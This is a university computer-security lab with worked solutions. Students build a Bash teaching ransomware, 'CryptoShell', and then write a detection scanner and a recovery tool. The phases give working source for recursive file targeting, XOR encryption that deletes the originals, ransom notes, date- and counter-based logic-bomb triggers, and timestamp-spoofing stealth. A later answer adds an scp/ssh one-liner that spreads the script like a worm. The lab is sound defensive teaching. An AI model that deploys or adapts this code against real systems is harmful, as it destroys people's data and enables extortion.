University of Perpignan
C. Legrand

L3 Computer Science
Year 2026

Graded Lab – Computer Security – Solutions

CryptoShell Project – Educational Ransomware in Bash

Practical Information:

- **Distribution:** February 16, 2026
- **Deadline:** March 8, 2026 at 11:59 PM on Moodle
- **Instructions: Individual** work. Submit a `.zip` archive on Moodle containing:
  - All Bash scripts (Phases 1–6)
  - The analysis report (Phase 7) in PDF format
- **Grading:** 25 points scaled to /20. Each phase is graded independently.

Ethical and Legal Warning

The techniques presented in this lab are studied in a **strictly academic context** in order to understand the mechanisms used by malicious software and thus be better able to defend against them.
Any use of these techniques outside the educational context is illegal and subject to criminal penalties (Chapter III of the French Penal Code, Articles 323-1 to 323-8 – *Offences against automated data processing systems*):

- Unauthorized access to or remaining in an ADPS (Art. 323-1): **3 years** imprisonment and **€100,000** fine
- Obstruction of an ADPS (Art. 323-2): **5 years** imprisonment and **€150,000** fine
- Fraudulent introduction of data into an ADPS (Art. 323-3): **5 years** imprisonment and **€150,000** fine

Penalties increased to **7 years** and **€300,000** when the targeted system processes personal data operated by the State, and up to **10 years** and **€300,000** for organized crime (Art. 323-4-1). *Penalties updated by LOPMI Act No. 2023-22 of January 24, 2023.*

Scenario: You are a junior analyst in an incident response team (*CERT*). Your manager asks you to understand how a recent ransomware targeting Linux servers works, then to develop the corresponding detection and recovery tools. To do this, you will **progressively build** an educational ransomware in Bash, called **CryptoShell**, then **switch perspective** to create the countermeasures.

Prerequisites: Chapters 01 (malicious software) and 02 (interpreted viruses), Labs 01 to 04.

Working Method: For each phase, proceed as follows:

- Run `setup_lab.sh` to create a clean test environment.
- Work **only** in the `lab/` directory created by the script.
- Test each phase **before** moving on to the next one.
- Recreate the test environment between phases if necessary.

Provided files:

- `xor_helper.sh` — Helper script containing `generate_key()` and `xor_file()` functions (use with `source`)
- `setup_lab.sh` — Test environment setup script
- `cible1.txt`, `cible2.txt`, `cible3.sh` — Test target files
- `rapport_template.tex` — Analysis report template (Phase 7)

XOR Helper (`xor_helper.sh`) — this script is provided as a black box:

```bash
#!/bin/bash
# CryptoShell XOR Helper
# Usage: source xor_helper.sh

# Generate a random key of N bytes (in hex)
generate_key() {
    local length=${1:-8}
    head -c "$length" /dev/urandom | xxd -p
}

# Encrypt/decrypt a file with an XOR key (in hex)
# Usage: xor_file <input_file> <output_file> <hex_key>
xor_file() {
    local input="$1" output="$2" key="$3"
    local key_len=${#key}
    local i=0
    xxd -p "$input" | tr -d '\n' | fold -w2 | while read byte; do
        local ki=$(( i % (key_len / 2) ))
        local key_byte="${key:$((ki*2)):2}"
        printf "%02x" $(( 16#$byte ^ 16#$key_byte ))
        i=$((i + 1))
    done | xxd -r -p > "$output"
}
```

xor_helper.sh (provided)

Detailed Grading:

Phase	Title	Duration	Points	Difficulty
1	Reconnaissance	30 min	3 pts	⋆⋆
2	XOR Encryption	45 min	4 pts	⋆⋆⋆
3	Propagation & Ransom	45 min	4 pts	⋆⋆⋆
4	Trigger	30 min	3 pts	⋆⋆
5	Stealth	30 min	3 pts	⋆⋆⋆
6	Detection & Recovery	45 min	4 pts	⋆⋆⋆
7	Analysis Report	45 min	4 pts	⋆⋆⋆⋆
	Total	**∼4h30**	**25 pts → /20**	

Exercise 1 (CryptoShell Project — Educational Ransomware).

Phase 1 — Reconnaissance and File Discovery [3 points]

Course Reminder

Adleman's Classification and Virus Life Cycle:
Leonard Adleman (1988) proposed a formal classification of malicious programs:

- **Simple programs:** execute their action without reproducing (logic bomb, pure ransomware, spyware).
- **Self-reproducing programs:** copy themselves into other programs or systems (viruses, worms).

The **life cycle** of a virus has 3 phases:

1. **Infection:** the virus copies itself into new hosts (search routine + copy)
2. **Incubation:** the virus is present but inactive (waiting for the trigger)
3. **Disease:** the payload executes (destructive action)

The **file search routine** is the first step of any file-targeting malware. It determines the **scope** of the attack: the more efficient it is (recursive, multi-extension), the greater the impact.

1a) Write a script `recon.sh` that takes a directory as argument and lists all `.txt` and `.dat` files it contains (recursively). For each file, display: the path, size in bytes, and modification date. Use `find` or a recursive loop.

1b) Modify the script so that the total number of files found and the total size are computed. Store the target file list in a file `targets.list`.

1c) **Theoretical question:** In Adleman's classification, where does ransomware fit? Is it a simple or self-reproducing program? Justify.

Solution 1. ***1a+1b)*** *Reconnaissance script:*

```bash
#!/bin/bash
# CryptoShell -- Phase 1: Reconnaissance
TARGET_DIR="${1:-.}"
TARGETS_FILE="targets.list"
echo "# CryptoShell Target List -- $(date)" > "$TARGETS_FILE"
echo "# Format: SIZE DATE PATH" >> "$TARGETS_FILE"

echo "=== CryptoShell Recon ==="
echo "Scanning: $TARGET_DIR"

find "$TARGET_DIR" -type f \( -name "*.txt" -o -name "*.dat" \) | while read filepath; do
    SIZE=$(stat --format="%s" "$filepath" 2>/dev/null || stat -f "%z" "$filepath" 2>/dev/null)
    MDATE=$(stat --format="%y" "$filepath" 2>/dev/null || stat -f "%Sm" "$filepath" 2>/dev/null)
    echo "$SIZE $MDATE $filepath"
    echo "$SIZE $MDATE $filepath" >> "$TARGETS_FILE"
done

TOTAL_FILES=$(grep -c -v "^#" "$TARGETS_FILE")
TOTAL_SIZE=$(grep -v "^#" "$TARGETS_FILE" | awk '{sum += $1} END {print sum+0}')
echo "--- Summary ---"
echo "Total files found: $TOTAL_FILES"
echo "Total size: $TOTAL_SIZE bytes"
echo "Target list saved to: $TARGETS_FILE"
```

recon.sh (phase1_recon.sh)

1c) *In Adleman's classification, a* ***pure ransomware*** *is a* ***simple program*** *(non-self-reproducing). It does not copy itself into other programs: it encrypts the victim's files and demands a ransom, but does not propagate on its own.*

However, ransomware can be ***coupled*** *with a virus or worm for propagation (e.g., WannaCry = ransomware + worm). In that case, the propagation component is self-reproducing, but the ransomware component (encryption + ransom) remains a simple program.*

Key Point

- *Recursive file search (`find` with `-name`) is the first step of ANY file-targeting malware.*
- *A pure ransomware is a* ***simple program*** *in Adleman's classification — it does not self-reproduce.*
- *The attack scope depends directly on the search routine: recursive → maximum impact.*
- *`stat` extracts file metadata (size, dates).*

Phase 2 — XOR Encryption [4 points]

Course Reminder

XOR Encryption and Viral Polymorphism:
XOR (exclusive or) has 4 fundamental algebraic properties:

1. **Commutativity:** $A \oplus B = B \oplus A$
2. **Associativity:** $(A \oplus B) \oplus C = A \oplus (B \oplus C)$
3. **Identity element:** $A \oplus 0 = A$
4. **Self-inverse:** $A \oplus A = 0$

Consequence for encryption: If $C = M \oplus K$ (encryption), then $C \oplus K = M \oplus K \oplus K = M \oplus 0 = M$ (decryption). The **same operation** with the **same key** encrypts AND decrypts.

Link with Vernam cipher: XOR with a key as long as the message and truly random constitutes the **one-time pad**, proven unbreakable by Shannon (1949).

Viral polymorphism via XOR encryption: In a polymorphic virus, the viral code is encrypted with a different XOR key at each infection. Only the **decryption routine** (in cleartext) remains constant — it is a **detectable invariant**.

XOR Truth Table:

A	B	$A \oplus B$
0	0	0
0	1	1
1	0	1
1	1	0

2a) Explain mathematically why XOR can both encrypt AND decrypt with the same operation and the same key. Give the 4 algebraic properties used.

2b) Manually compute the XOR of the string `"HACK"` with key `0x5A`. Provide the full table (character, ASCII hex, key hex, result hex, result character).

2c) Using `xor_helper.sh`, write a script `encrypt.sh` that: (1) generates a random 8-byte key, (2) encrypts a file given as argument, (3) renames the encrypted file with `.locked` extension, (4) deletes the original, (5) saves the key in a hidden file `.cryptoshell_key`.

2d) Write `decrypt.sh` that: reads the key from `.cryptoshell_key`, decrypts a `.locked` file, restores the original name, and deletes the `.locked` file.

Solution 2. *2a) XOR can encrypt and decrypt with the same operation thanks to the following properties:*

- ***Self-inverse:*** $A \oplus A = 0$ *for all* A
- ***Identity element:*** $A \oplus 0 = A$ *for all* A
- ***Associativity:*** $(A \oplus B) \oplus C = A \oplus (B \oplus C)$

- ***Commutativity:*** $A \oplus B = B \oplus A$

Proof: *Let M be the message, K the key, C the ciphertext.*

$$C = M \oplus K \quad \Rightarrow \quad C \oplus K = (M \oplus K) \oplus K = M \oplus (K \oplus K) = M \oplus 0 = M$$

Decryption is identical to encryption: $D(C, K) = C \oplus K = M$.

2b) *XOR computation for* `"HACK"` *with key* `0x5A`*:*

Character	***ASCII (hex)***	***Key (hex)***	***Result (hex)***	***Result (char)***
`H`	`0x48`	`0x5A`	`0x12`	*(non-printable)*
`A`	`0x41`	`0x5A`	`0x1B`	*(ESC)*
`C`	`0x43`	`0x5A`	`0x19`	*(non-printable)*
`K`	`0x4B`	`0x5A`	`0x11`	*(non-printable)*

Verification: `0x48 XOR 0x5A = 01001000 XOR 01011010 = 00010010 = 0x12`.
Decryption: `0x12 XOR 0x5A = 00010010 XOR 01011010 = 01001000 = 0x48 = 'H'` ✓

2c) *Encryption script:*

```bash
#!/bin/bash
source xor_helper.sh
KEY_FILE=".cryptoshell_key"
input="$1"
if [ ! -f "$input" ]; then
    echo "Error: file '$input' not found."; exit 1
fi
KEY=$(generate_key 8)
xor_file "$input" "${input}.locked" "$KEY"
rm -f "$input"
echo "$KEY" > "$KEY_FILE"
echo "[+] Encrypted: ${input}.locked"
echo "[+] Key saved in $KEY_FILE"
```

encrypt.sh

2d) *Decryption script:*

```bash
#!/bin/bash
source xor_helper.sh
KEY_FILE=".cryptoshell_key"
input="$1"
if [ ! -f "$input" ]; then
    echo "Error: file '$input' not found."; exit 1
fi
if [ ! -f "$KEY_FILE" ]; then
    echo "Error: key not found ($KEY_FILE)."; exit 1
fi
KEY=$(cat "$KEY_FILE")
original="${input%.locked}"
xor_file "$input" "$original" "$KEY"
rm -f "$input"
echo "[+] Decrypted: $original"
```

decrypt.sh

Warning

With a single-byte key, there are only 255 possible variants (0x01 to 0xFF, 0x00 being the identity element). ***Brute-force*** *is trivial. An 8-byte key offers* $256^8 \approx 1.8 \times 10^{19}$ *possibilities — sufficient to resist simple brute-force.*

Key Point

- *XOR is at the heart of both* ***viral polymorphism*** *and* ***ransomware****. In a polymorphic virus, the decryption routine (in cleartext) remains a* ***detectable invariant****. In ransomware, the encryption key is the* ***ransom leverage****.*
- `generate_key()` *uses* `/dev/urandom`*: a cryptographic pseudo-random source on Linux.*
- *The* `.cryptoshell_key` *file starts with a dot: it is* ***hidden*** *from* `ls` *(but not from* `ls -a`*).*

Phase 3 — Propagation and Ransom [4 points]

Course Reminder

Classic Infection Techniques and Anti-reinfection:
Classic viruses use 3 main file infection techniques:

- **Overwriting:** the virus replaces the beginning of the host file (destructive, simple)
- **Appending:** the virus appends itself after the host code (non-destructive)
- **Companion:** the virus creates a file with the same name but higher execution priority

Text diagram before/after appending infection:

```
BEFORE:                      AFTER:
+------------------+         +------------------+
| Host code        |         | Host code        |
| (original)       |         | (original)       |
+------------------+         +------------------+
                              | Viral code       |
                              | (appended)       |
                              +------------------+
```

Anti-reinfection: A virus must avoid reinfecting an already-infected file. Strategies: marker (signature), tail comparison, execution test.

3a) Write `cryptoshell.sh` that: (1) generates a random key, (2) recursively traverses a target directory, (3) encrypts each `.txt` and `.dat` file found, (4) renames to `.locked`, (5) deposits a `RANSOM_NOTE.txt` file in each directory containing encrypted files.

3b) Add an **anti-reinfection** mechanism: the script must NOT re-encrypt an already `.locked` file. Implement this check.

3c) The ransom note must contain: a threatening message, a unique victim identifier (randomly generated), and (fictitious) instructions. Write the `create_ransom_note()` function.

3d) **Theoretical question:** Compare the ransomware infection technique with the 3 classic virus techniques (overwriting, appending, companion). What are the fundamental similarities and differences?

Solution 3. ***3a+3b+3c)*** *The complete ransomware:*

```
#!/bin/bash
# CryptoShell -- Phase 3: Propagation and Ransom
source xor_helper.sh
TARGET_DIR="${1:-.}"
KEY_FILE=".cryptoshell_key"
VICTIM_ID=$(head -c 8 /dev/urandom | xxd -p)

KEY=$(generate_key 8)
echo "$KEY" > "$KEY_FILE"

create_ransom_note() {
    local dir="$1"
    cat > "${dir}/RANSOM_NOTE.txt" << EOF
============================================
    CRYPTOSHELL -- YOUR FILES ARE ENCRYPTED
============================================
Victim ID: ${VICTIM_ID}
Send 0.5 BTC to [FAKE ADDRESS -- EDUCATIONAL LAB]
Contact: cryptoshell@fake-educational.example
[This is an educational exercise]
============================================
EOF
}

echo "[CryptoShell] Encrypting..."
find "$TARGET_DIR" -type f \( -name "*.txt" -o -name "*.dat" \) | while read filepath; do
    case "$filepath" in *.locked) continue ;; esac
    [ "$(basename "$filepath")" = "RANSOM_NOTE.txt" ] && continue
    xor_file "$filepath" "${filepath}.locked" "$KEY"
    rm -f "$filepath"
    echo "  [+] $(basename "$filepath") -> $(basename "$filepath").locked"
    DIR=$(dirname "$filepath")
    if [ ! -f "${DIR}/RANSOM_NOTE.txt" ]; then
        create_ransom_note "$DIR"
    fi
done
echo "[CryptoShell] Encryption complete. ID: $VICTIM_ID"
```

cryptoshell.sh (phase3_ransom.sh)

3d) *Comparison of ransomware vs. classic techniques:*

Technique	***Action on file***	***Reversibility***
Overwriting	*Replaces content with viral code*	*Irreversible (data destroyed)*
Appending	*Adds viral code at end*	*Reversible (remove appended code)*
Companion	*Does not modify original file*	*Reversible (delete companion)*
Ransomware	*Replaces content with encrypted version*	*Reversible **if** key is known*

Similarities: *Like the overwriting virus, ransomware **replaces** file content. Like the appending virus, it uses an **anti-reinfection** mechanism (checking the `.locked` extension).*

Fundamental differences: *(1) Ransomware does not **append** itself — it replaces content with an encrypted version. (2) Ransomware does not **spread** into executables — it targets **data**. (3) Reversibility depends on the **key**: this is the economic leverage of ransomware.*

Key Point

- *Ransomware does not "append" to files like a classic virus — it **replaces** content with an encrypted version.*
- *The anti-reinfection mechanism is analogous: checking the `.locked` extension plays the same role as an infection marker in a virus.*
- *The victim identifier (`VICTIM_ID`) allows the attacker to associate a payment with a decryption key.*

Phase 4 — Trigger (Logic Bomb) [3 points]

Course Reminder

Logic Bombs and Triggers:
A **logic bomb** is a program whose payload only activates when a **condition** is met. Types of triggers:

- **Temporal:** date, time, day of the week
- **Counter-based:** after N executions
- **Event-driven:** file presence, network connection, user login
- **Environmental:** environment variables, machine name

Useful commands:

- `date +%u`: day of the week (1=Monday, . . . , 7=Sunday)
- `date +%d`: day of the month (01–31)
- `date +%m`: month (01–12)

Historical examples: Omega Engineering (1996) — a fired system administrator planted a logic bomb that deleted all production software 20 days after his departure. Dark Seoul (2013) — malware activated at a precise date/time targeting South Korean banks and media.

Link with viruses: A virus with a delayed trigger is a logic bomb mounted on a viral vector. The trigger/payload separation is a **fundamental architectural pattern**.

4a) Modify `cryptoshell.sh` so that encryption only activates if a **temporal condition** is met: the script must check if it is a Sunday (`date +%u` returns 7). Otherwise, the script exits silently.

4b) Implement an **alternative counter-based trigger**: a hidden file `.cs_count` is incremented at each execution. Encryption only activates after 5 executions. After activation, the counter is deleted.

4c) **Theoretical question:** Name two famous historical examples of logic bombs. Explain why antivirus software has difficulty detecting logic bombs before they trigger.

Solution 4. *4a) Temporal trigger (Sunday) — code to add at the beginning of the script:*

```
# Temporal trigger: Sunday only
DAY=$(date +%u)
if [ "$DAY" -ne 7 ]; then
    exit 0   # Not Sunday -> silent exit
fi
```

Temporal trigger

4b) Counter-based trigger:

```
# Counter-based trigger
COUNTER_FILE=".cs_count"
count=0
if [ -f "$COUNTER_FILE" ]; then
    count=$(cat "$COUNTER_FILE")
fi
count=$((count + 1))
echo "$count" > "$COUNTER_FILE"
if [ "$count" -lt 5 ]; then
    exit 0    # Not yet 5 executions
fi
# Activation! Delete the counter
rm -f "$COUNTER_FILE"
```

Counter-based trigger

4c) *Historical examples:*

- ***Omega Engineering (1996):*** *Timothy Lloyd, a fired system administrator, planted a logic bomb activated 20 days after his departure. It deleted all design and production software, causing ~$10 million in damages.*
- ***Dark Seoul / Jokra (2013):*** *Malware activated on March 20, 2013 at exactly 2:00 PM, simultaneously targeting 3 banks and 2 TV stations in South Korea. It erased the MBR of hard drives.*

Detection difficulty: *Antivirus software has difficulty detecting logic bombs before they trigger because:*

1. *The bomb's code is* ***legitimate code*** *(an* `if` *condition and an action) — no characteristic viral signature.*
2. *The payload can use* ***legitimate APIs*** *(file deletion, formatting).*
3. *Static analysis cannot predict whether the condition will be met.*
4. *Only* ***behavioral analysis at runtime*** *(sandboxing) could detect it, but it requires simulating the right trigger conditions.*

Warning

In C, the `tm_mon` *field of* `struct tm` *is indexed from 0 (January=0, December=11) — a classic trap from Lab 02. In Bash,* `date +%u` *returns 1=Monday to 7=Sunday, with no indexing trap.*

Key Point

- *The* ***separation*** *between trigger and payload is a fundamental security pattern. The same trigger can activate different payloads, and the same payload can be triggered by different conditions.*
- *The* `.cs_count` *file is an* ***Indicator of Compromise*** *(IoC): its presence signals a logic bomb in the incubation phase.*
- *Logic bombs are hard to detect because they use* ***functionally legitimate code*** *— only the* ***intent*** *is malicious.*

Phase 5 — Stealth and Anti-detection [3 points]

Course Reminder

Stealth Techniques:
A stealthy malware seeks to conceal traces of its activity to delay detection:

- **Timestamp preservation:** modifying a file changes its last modification date (`mtime`). An administrator monitoring dates can detect an anomaly.
- **Temporary file cleanup:** any artifact left by the malware (temporary files, logs) is evidence.
- **Error suppression:** error messages on `stderr` can alert the user.

Key commands:

- `touch -r reference file`: apply timestamps from `reference` to `file`
- `stat -format="%y" file`: display modification date
- `trap "commands" EXIT SIGINT SIGTERM`: execute `commands` on script exit (even on Ctrl+C or kill)
- `2>/dev/null`: redirect `stderr` to `/dev/null`

5a) Add **timestamp preservation**: before encrypting each file, save its modification date, then restore it on the `.locked` file. Use `touch -r` to copy timestamps.

5b) Add a **cleanup mechanism**: use `trap` to guarantee deletion of all temporary files (key, intermediate files) even on interruption (SIGINT, SIGTERM). Redirect stderr with `2>/dev/null` on critical commands.

5c) **Theoretical question:** Line-reordering polymorphism (from Lab 04) and XOR encryption polymorphism (from Lab 02) aim for the same goal: evading signature-based detection. Compare these two approaches: which is more robust? Which leaves a detectable invariant? Could an antivirus detect CryptoShell despite these techniques?

Solution 5. ***5a)*** *Timestamp preservation — code to add in the encryption loop:*

```
# Before encryption: save timestamp
touch -r "$filepath" "/tmp/.cs_ref_$$" 2>/dev/null
# ... (xor_file encryption + rm) ...
# After encryption: restore timestamp
touch -r "/tmp/.cs_ref_$$" "${filepath}.locked" 2>/dev/null
rm -f "/tmp/.cs_ref_$$" 2>/dev/null
```

Timestamp preservation (5a)

5b) *Cleanup with trap — code to add at the beginning of the script:*

```
# Guaranteed cleanup even on Ctrl+C
trap "rm -f /tmp/.cs_ref_$$ .cryptoshell_key.tmp .cs_count 2>/dev/
    null" EXIT SIGINT SIGTERM
```

Cleanup with trap (5b)

The complete script integrating all phases (1–5) is provided in `corriges/phase5_stealth.sh`.

5c) *Comparison of the two polymorphism types:*

Criterion	***XOR Polymorphism***	***Reordering Polymorphism***
Principle	*Code is encrypted with a different key for each copy*	*Code lines are randomly permuted*
Invariant	*The* ***decryption routine*** *(decryptor) remains in cleartext*	*The* ***restoration code*** *(which reorders lines) remains fixed*
Robustness	*High — encrypted code looks like noise*	*Medium — individual lines are readable*
Detection	*Decryptor signature*	*Restoration code signature +* `#@n#` *tags*

Both *leave a detectable invariant: the code that reorders/decrypts. XOR polymorphism is more robust because encrypted code looks like random noise, while permuted lines remain individually readable.*

For CryptoShell: an antivirus could detect ***behavioral patterns*** *(massive file encryption, ransom note creation,* `.locked` *files) even without a static signature. This is the principle behind modern* ***EDR*** *(Endpoint Detection and Response) systems.*

Key Point

- *Stealth does not make detection impossible, but* ***delays discovery****. In a real ransomware, the time between infection and detection is critical: the longer it takes, the more files are encrypted.*
- ***Behavioral detection*** *(monitoring mass file access patterns + encryption) is the most robust as it detects the malware's* ***intent*** *rather than its* ***form****.*
- `trap ... EXIT SIGINT SIGTERM` *is a universal Bash best practice — it guarantees cleanup even on interruption.*

Phase 6 — Detection and Recovery [4 points]

Course Reminder

Indicators of Compromise (IoC) and Detection Types:
An **Indicator of Compromise** (IoC) is an observable artifact that signals an infection or intrusion.

Antivirus detection types:

- **Signature-based** (*pattern matching*): search for known strings or patterns in files (fast, precise, but bypassed by polymorphism)
- **Heuristic**: analysis of suspicious code without known signature — detection of behavioral patterns in source code (e.g., a script that massively encrypts files)
- **Behavioral**: monitoring actions **at runtime** — detecting the program's intent (e.g., mass file access + writing encrypted files)

Useful `grep` commands for analysis:

- `grep -q "pattern" file`: silent mode, exit code 0 if found
- `grep -r "pattern" directory`: recursive search
- `grep -l "pattern" *.sh`: list files containing the pattern
- `grep -c "pattern" file`: count occurrences

6a) Write `scanner.sh` that traverses a directory and detects CryptoShell **Indicators of Compromise (IoC)**:

- Presence of `.locked` files
- Presence of `RANSOM_NOTE.txt`
- Presence of hidden files `.cs_count`, `.cryptoshell_key`
- Suspicious patterns in scripts: `xor`, `locked`, `RANSOM`

The scanner must display a summary report with the number of IoCs found per category.

6b) Write `recovery.sh` that: (1) searches for the `.cryptoshell_key` file, (2) if found, decrypts all `.locked` files in the directory, (3) deletes ransom notes and state files.

6c) **Theoretical question:** Fill in an IoC table for each phase (1–5) with: the technique used, the detectable IoC, the detection type (signature, heuristic, behavioral). Propose a detection strategy combining all 3 approaches.

Solution 6. ***6a)*** *Detection scanner:*

```bash
#!/bin/bash
# CryptoShell IoC Scanner
DIR="${1:-.}"
echo "=== CryptoShell IoC Scanner ==="
echo "Directory: $DIR"
echo ""
```

```
IOC_LOCKED=0; IOC_RANSOM=0; IOC_HIDDEN=0; IOC_PATTERNS=0

echo "--- Encrypted files (.locked) ---"
while IFS= read -r f; do
    echo "  [LOCKED] $f"
    IOC_LOCKED=$((IOC_LOCKED + 1))
done < <(find "$DIR" -name "*.locked" -type f 2>/dev/null)
[ "$IOC_LOCKED" -eq 0 ] && echo "  None."

echo "--- Ransom notes ---"
while IFS= read -r f; do
    echo "  [RANSOM] $f"
    IOC_RANSOM=$((IOC_RANSOM + 1))
done < <(find "$DIR" -name "RANSOM_NOTE.txt" -type f 2>/dev/null)
[ "$IOC_RANSOM" -eq 0 ] && echo "  None."

echo "--- Suspicious hidden files ---"
for name in ".cs_count" ".cryptoshell_key"; do
    while IFS= read -r f; do
        echo "  [HIDDEN] $f"
        IOC_HIDDEN=$((IOC_HIDDEN + 1))
    done < <(find "$DIR" -name "$name" -type f 2>/dev/null)
done
[ "$IOC_HIDDEN" -eq 0 ] && echo "  None."

echo "--- Suspicious patterns (scripts) ---"
while IFS= read -r f; do
    IND=""
    grep -q "xor" "$f" 2>/dev/null && IND="$IND [xor]"
    grep -q "locked" "$f" 2>/dev/null && IND="$IND [locked]"
    grep -q "RANSOM" "$f" 2>/dev/null && IND="$IND [RANSOM]"
    if [ -n "$IND" ]; then
        echo "  [SUSPECT] $(basename "$f"):$IND"
        IOC_PATTERNS=$((IOC_PATTERNS + 1))
    fi
done < <(find "$DIR" -name "*.sh" -type f 2>/dev/null)
[ "$IOC_PATTERNS" -eq 0 ] && echo "  None."

echo ""
echo "=== REPORT ==="
TOTAL=$((IOC_LOCKED + IOC_RANSOM + IOC_HIDDEN + IOC_PATTERNS))
echo "  .locked files       : $IOC_LOCKED"
echo "  Ransom notes        : $IOC_RANSOM"
echo "  Hidden files        : $IOC_HIDDEN"
echo "  Suspicious scripts  : $IOC_PATTERNS"
echo "  TOTAL IoC           : $TOTAL"
```

scanner.sh (phase6_scanner.sh)

6b) *Recovery tool:*

```
#!/bin/bash
# CryptoShell Recovery Tool
source xor_helper.sh
DIR="${1:-.}"
echo "=== CryptoShell Recovery ==="

```

```
KEY_FILE=$(find "$DIR" -name ".cryptoshell_key" -type f 2>/dev/null | head -n 1)
[ -z "$KEY_FILE" ] && [ -f ".cryptoshell_key" ] && KEY_FILE=".cryptoshell_key"
if [ -z "$KEY_FILE" ]; then
    echo "[!] Key not found. Decryption impossible."
    exit 1
fi
KEY=$(cat "$KEY_FILE")
echo "[+] Key found: $KEY"

RECOVERED=0
while IFS= read -r locked; do
    original="${locked%.locked}"
    xor_file "$locked" "$original" "$KEY"
    rm -f "$locked"
    echo "  [+] $(basename "$locked") -> $(basename "$original")"
    RECOVERED=$((RECOVERED + 1))
done < <(find "$DIR" -name "*.locked" -type f 2>/dev/null)

for name in "RANSOM_NOTE.txt" ".cryptoshell_key" ".cs_count"; do
    find "$DIR" -name "$name" -type f -delete 2>/dev/null
done
[ -f ".cryptoshell_key" ] && rm -f ".cryptoshell_key"
[ -f ".cs_count" ] && rm -f ".cs_count"

echo "[OK] $RECOVERED files recovered."
```

recovery.sh (phase6_recovery.sh)

6c) *IoC table by phase:*

Phase	***Technique***	***Detectable IoC***	***Detection type***
1	*Recursive search*	*Mass access to* `.txt`/`.dat` *files*	*Behavioral*
2	*XOR encryption*	`.locked` *files,* `.cryptoshell_key`	*Signature*
3	*Propagation + ransom*	`RANSOM_NOTE.txt`, `xor`/`locked` *patterns*	*Signature + Heuristic*
4	*Trigger*	`.cs_count`, `date` *conditions*	*Heuristic*
5	*Stealth*	`touch -r`, `trap`, `2>/dev/null`	*Heuristic*

Combined detection strategy:

1. ***Signature:*** *Search for known IoCs (*`.locked` *files,* `RANSOM_NOTE.txt`, `.cryptoshell_key`*).*
2. ***Heuristic:*** *Analyze scripts for suspicious patterns (use of* `xor`*, file loops, encryption).*
3. ***Behavioral:*** *Monitor file accesses in real time — detect a process that massively reads data files then rewrites them (encryption pattern).*

*Combining all 3 approaches minimizes **false negatives** (malware that escapes signature detection can be caught by heuristics or behavior) and **false positives** (a legitimate script containing "xor" won't be flagged if its behavior is normal).*

Key Point

- ***Behavioral detection** (monitoring mass file access patterns + encryption) is the most robust as it detects the malware's **intent** rather than its **form**. This is the principle behind modern EDR (Endpoint Detection and Response) systems.*
- *A good scanner combines **multiple IoC types** to reduce false positives and false negatives.*
- *The recovery tool only works if the key is present locally. In a real ransomware, the key is exfiltrated to a remote server.*

Phase 7 — Analysis Report [4 points]

A report template (`rapport_template.tex`) is provided. Fill in the following sections:

R1) Adleman's Classification: Where does CryptoShell fit in the classification? Simple or self-reproducing program? Justify.

R2) Life Cycle: Draw (in ASCII art or diagram) the complete life cycle of CryptoShell, identifying the 3 classic phases (infection, incubation, disease). Indicate which lab phase corresponds to each step.

R3) Virus, Worm, or Trojan: Is CryptoShell as implemented a virus, worm, or Trojan horse? How would you modify it to become a worm (network propagation)? How would you transform it into a Trojan?

R4) Comparison with Document Viruses: A Word macro-virus and CryptoShell both target data files. What are the fundamental similarities and differences (infection vector, target format, interpreter, persistence)?

R5) IoC Table by Phase: Fill in a complete table [Phase | Technique | IoC | Detection type].

R6) Ethical Reflection: How is the study of malware construction in an academic setting beneficial for cybersecurity? Cite at least one concrete example.

The report is graded on the quality of analysis, not length.

Solution 7. ***R1) Adleman's Classification:***

*CryptoShell is a **simple program** (non-self-reproducing) in Adleman's classification. It does not copy itself into other programs: it encrypts the victim's files and demands a ransom, but does not propagate on its own.*

*However, CryptoShell could be **coupled** with a propagation vector:*

- *Coupled with a **virus**: integrated into viral code, it would activate at each infection*
- *Coupled with a **worm**: automatic network propagation (like WannaCry = EternalBlue + ransomware)*

R2) Life Cycle:

```
+-----------------------------------------------------+
|            CRYPTOSHELL LIFE CYCLE                   |
+-----------------------------------------------------+
|                                                     |
|  [Phase 1: Reconnaissance]                          |
|        |                                            |
|        v                                            |
|  INFECTION: Script is deployed on the system        |
|  (via phishing, USB drive, exploit...)              |
|  -> Phase 1 (recon) + Phase 3 (propagation)         |
|        |                                            |
|        v                                            |
|  INCUBATION: Trigger waits for its condition        |
|  (counter < 5 or not Sunday)                        |
|  -> Phase 4 (trigger) + Phase 5 (stealth)           |
|        |                                            |
|        v                                            |
|  DISEASE: Encryption activates                      |
|  -> Phase 2 (XOR) + Phase 3 (ransom note)           |
|        |                                            |
|        v                                            |
|  [Ransom demand displayed]                          |
+-----------------------------------------------------+
```

R3) Virus, Worm, or Trojan:
CryptoShell as implemented is ***neither a virus nor a worm****:*

- *It is* ***not a virus*** *because it does not copy itself into other executable programs.*
- *It is* ***not a worm*** *because it does not propagate via the network.*
- *It is a* ***simple malicious program*** *(ransomware). It could be classified as a* ***Trojan horse*** *if disguised as a legitimate program (e.g., embedded in* `setup_lab.sh`*).*

To transform into a worm: *Add a network propagation module (port scanner, SSH vulnerability exploitation, email spreading). Example:* `scp cryptoshell.sh user@$IP:/tmp/ && ssh user@$IP bash /tmp/cryptoshell.sh`*.*

To transform into a Trojan: *Embed it in a legitimate-looking program (an installer, a game, a utility). The user runs the "normal" program and CryptoShell activates in the background.*

R4) Comparison with Document Viruses:

Criterion	***Word Macro-virus***	***CryptoShell***
Vector	*VBA macros in the document*	*Independent Bash script*
Target format	`.doc`/`.docx` *files*	`.txt`/`.dat` *files*
Interpreter	*Microsoft Word (VBA engine)*	*Bash (Linux shell)*
Persistence	*Integrates into Normal.dot template*	`.locked` *files + hidden key*
Self-reproduction	*Yes (infects Normal.dot → all documents)*	*No (no propagation)*
Action	*Propagates, may have a payload*	*Encrypts data*

Main similarity: *Both target* ***data*** *files (not executables).*

Fundamental difference: *The macro-virus is* ***self-reproducing*** *(it infects the global template then all opened documents), while CryptoShell is a* ***simple program*** *that does not reproduce.*

R5) *See Phase 6c table (identical).*

R6) Ethical Reflection:
Studying malware construction in an academic setting is beneficial because:

- ***Understanding attacks to build defenses:*** *One cannot effectively detect a ransomware without understanding its inner workings (search routine, encryption, stealth).*
- ***Training future defenders:*** *Cybersecurity analysts must be able to reverse-engineer malware to develop IoCs and detection rules.*
- ***Concrete example:*** *The analysis of the* ***WannaCry*** *ransomware (2017) by researcher Marcus Hutchins led to the discovery of a "kill switch" (an unregistered domain checked by the malware). By registering this domain, Hutchins stopped the worldwide propagation of the ransomware, saving millions of systems. This discovery was only possible thanks to a deep understanding of the malicious code.*